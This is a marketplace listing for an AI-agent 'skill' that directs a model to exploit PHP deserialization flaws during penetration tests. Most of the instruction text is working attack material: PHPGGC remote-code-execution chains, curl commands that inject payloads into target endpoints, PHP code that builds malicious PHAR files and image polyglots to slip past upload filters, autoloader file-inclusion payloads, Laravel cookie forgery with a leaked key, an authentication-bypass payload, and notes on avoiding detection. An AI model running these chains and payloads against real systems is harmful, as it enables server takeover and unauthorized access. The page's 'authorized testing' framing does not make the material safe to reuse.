Deserialization Php logo

Deserialization Php

Organization
blacklanternsecurity
deserialization-php

Exploit PHP deserialization vulnerabilities during authorized penetration testing.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namedeserialization-php
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Deserialization Php AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/deserialization-php .claude/skills/deserialization-php
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Deserialization Php in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Deserialization Php on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Deserialization Php is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

PHP Deserialization

You are helping a penetration tester exploit PHP deserialization vulnerabilities. The target application passes untrusted data to unserialize() or processes attacker-controlled phar:// streams, enabling object injection and remote code execution via gadget chains. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [deserialization-php] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • A PHP deserialization endpoint (unserialize() on user input, or filesystem function accepting phar://)
  • Tools: phpggc (git clone https://github.com/ambionics/phpggc), Burp Suite for request interception
  • Knowledge of target framework/libraries (Laravel, Symfony, WordPress, etc.)

Step 1: Assess

If not already provided, determine:

  1. Serialization format — look for these patterns:
PatternMeaningExample
O:<len>:"<class>"Serialized objectO:8:"stdClass":1:{s:1:"a";s:1:"b";}
a:<count>:{...}Serialized arraya:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
s:<len>:"<value>"Serialized strings:5:"hello";
Tz (base64)Base64-encoded serializedDecode to check for O: or a:
  1. Entry point:

    • GET/POST parameters
    • Cookies (session data, auth tokens)
    • HTTP headers
    • File uploads (phar:// trigger)
    • Database-stored serialized data
  2. Framework — check for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, CodeIgniter (determines available PHPGGC chains)

  3. PHP version — PHP 7.0+ supports allowed_classes option in unserialize(), PHP 7.4+ has __serialize()/__unserialize()

Skip if context was already provided.

Step 2: Basic Object Injection

Direct Injection (Custom Application)

If the application has vulnerable classes with exploitable magic methods:

php
# Magic methods triggered during deserialization:
# __wakeup()    — called when object is unserialized
# __destruct()  — called when object is garbage collected (most reliable)
# __toString()  — called when object is cast to string
# __call()      — called when undefined method is invoked
# __get()       — called when undefined property is read

Test payload — modify object properties:

# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}

# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}

Type Juggling via Deserialization

Exploit loose comparison (==) in PHP:

# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}

# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is true

Private/Protected Property Injection

PHP serialization encodes visibility with null bytes:

# Public property
s:4:"name";s:5:"value";

# Protected property (prefix: \0*\0)
s:7:"\0*\0name";s:5:"value";

# Private property (prefix: \0ClassName\0)
s:14:"\0MyClass\0name";s:5:"value";

Step 3: PHPGGC (Framework Gadget Chains)

PHPGGC generates POP chains for common PHP frameworks and libraries.

bash
# List all available gadget chains
phpggc --list

# Common RCE chains
phpggc Monolog/RCE1 system id                    # Monolog logging
phpggc Monolog/RCE2 system id                    # Monolog alternative
phpggc Laravel/RCE9 system id                    # Laravel framework
phpggc Laravel/RCE13 system id                   # Laravel alternative
phpggc Symfony/RCE4 system id                    # Symfony framework
phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data  # File write

# Output formats
phpggc Monolog/RCE1 system id -s                 # Serialized string
phpggc Monolog/RCE1 system id -b                 # Base64 encoded
phpggc Monolog/RCE1 system id -u                 # URL encoded
phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar  # PHAR format

# Inject into parameter
curl -X POST https://TARGET/endpoint \
  -d "data=$(phpggc Monolog/RCE1 system 'id' -u)"

Framework → chain selection:

Framework/LibraryChainsNotes
LaravelRCE9, RCE13, RCE15Requires APP_KEY for encrypted cookies
SymfonyRCE4+Common in Symfony-based apps
MonologRCE1, RCE2Widely used logging library
GuzzleFW1, Info1HTTP client — file write chains
SwiftMailerFW1-4Email library — file write
DoctrineRCE1-2ORM — RCE chains
WordPressVariousPlugin-dependent gadgets
CakePHPRCE1Framework-specific
YiiRCE1Framework-specific

Laravel with Known APP_KEY

If the Laravel APP_KEY is known (from .env disclosure, git leak, debug page, etc.), encrypted cookies can be forged:

bash
# Generate gadget chain
phpggc Laravel/RCE13 system 'id' -b -f

# Encrypt with laravel-crypto-killer
python3 laravel_crypto_killer.py encrypt \
  -k "base64:APP_KEY_HERE" \
  -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Inject as Laravel session cookie or XSRF-TOKEN

APP_KEY leak sources: .env via path traversal, debug error pages (APP_DEBUG=true), git repository exposure, backup files, phpinfo().

Step 4: Phar Deserialization

When PHP filesystem functions process a phar:// path, the PHAR metadata is automatically deserialized — even with functions like file_exists(), filesize(), fopen(), is_file(), md5_file(), file_get_contents().

Create Malicious PHAR

php
<?php
// create_phar.php — run with: php --define phar.readonly=0 create_phar.php

class VULN_CLASS {  // Replace with target's vulnerable class
    public $cmd = 'system("id");';
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
?>

PHAR Polyglot (Bypass Upload Filters)

Prepend image magic bytes to make the PHAR appear as a valid image:

php
<?php
// JPEG polyglot — passes image validation, works as PHAR
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");  // JPEG header
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
// Rename to .jpg for upload
rename('exploit.phar', 'exploit.jpg');
?>

Other magic byte options: GIF89a (GIF), \x89PNG\r\n\x1a\n (PNG).

PHAR + PHPGGC

bash
# Generate PHAR with framework gadget chain
phpggc Monolog/RCE1 system id -p phar -o exploit.phar

# Create JPEG polyglot PHAR with PHPGGC
phpggc Monolog/RCE1 system id -p phar -pp GIF -o exploit.gif

Exploitation Flow

  1. Upload PHAR polyglot as image (passes extension/MIME checks)
  2. Trigger deserialization via any filesystem function that accepts user-controlled path:
    # If app has: file_exists($_GET['file'])
    curl "https://TARGET/check?file=phar:///var/www/uploads/exploit.jpg"
    
    # If app has: getimagesize($_GET['url'])
    curl "https://TARGET/resize?url=phar:///var/www/uploads/exploit.jpg"

Step 5: Autoload Exploitation

When the target has spl_autoload_register() and you can deserialize objects of non-existent classes, the autoloader attempts to load them — potentially including arbitrary files.

php
// If autoloader converts underscores to directory separators:
// spl_autoload_register(function($name) {
//     require '/' . str_replace('_', '/', $name) . '.php';
// });

// Payload to load /tmp/evil.php via autoloader:
O:8:"tmp_evil":0:{}

// Load another webapp's composer autoloader (gains access to its gadgets):
O:28:"www_frontend_vendor_autoload":0:{}

Chain technique: Load another app's autoloader via deserialization, then exploit gadgets from that app's dependencies (e.g., Guzzle FileCookieJar for file write).

Step 6: Escalate or Pivot

OPSEC Notes

  • Serialized payloads visible in web server access logs
  • PHAR files persist on disk — clean up after testing
  • PHPGGC chains contain distinctive class names (Monolog, Guzzle) that may trigger application-level logging
  • Failed deserialization attempts often generate PHP warnings/errors — check if error logging exposes testing activity
  • Laravel encrypted cookies hide payload content but cookie size may be anomalous

Troubleshooting

PHPGGC Chain Throws Error

  • Confirm the target framework/library version matches the chain requirements
  • Try multiple chains for the same framework (Laravel/RCE9, RCE13, RCE15)
  • Check if unserialize() uses allowed_classes restriction (PHP 7.0+)
  • If allowed_classes is set, only whitelisted classes instantiate — try phar:// deserialization instead (bypasses allowed_classes)

Phar Deserialization Not Triggering

  • Verify the filesystem function accepts user-controlled input
  • Check if phar:// wrapper is disabled in php.ini (allow_url_fopen does not affect phar)
  • Ensure the PHAR file is accessible at the path you're referencing
  • Try phar:// with relative and absolute paths
  • Some functions require the phar to have a valid signature

Serialized Data Modified but No Effect

  • Check if the application validates a MAC/signature on the serialized data
  • Laravel encrypts + HMACs cookies — need APP_KEY to forge
  • WordPress uses wp_salt() for cookie signatures
  • Try finding the signing key or look for unsigned deserialization points

Type Juggling Bypass Not Working

  • PHP 8.0+ changed == behavior for string-number comparison ("0" == "" is now false)
  • Check if the application uses strict comparison (===)
  • Magic hash collisions only work with loose == comparison

Frequently asked questions

What does the Deserialization Php AI skill do?

Exploit PHP deserialization vulnerabilities during authorized penetration testing.

Why use Deserialization Php on TypingMind?

Because you install it once and use it with any model. Deserialization Php is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Deserialization Php in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/deserialization-php. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Deserialization Php?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Deserialization Php?

As many as you like. As long as a model supports skills, you can use Deserialization Php with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Deserialization Php AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇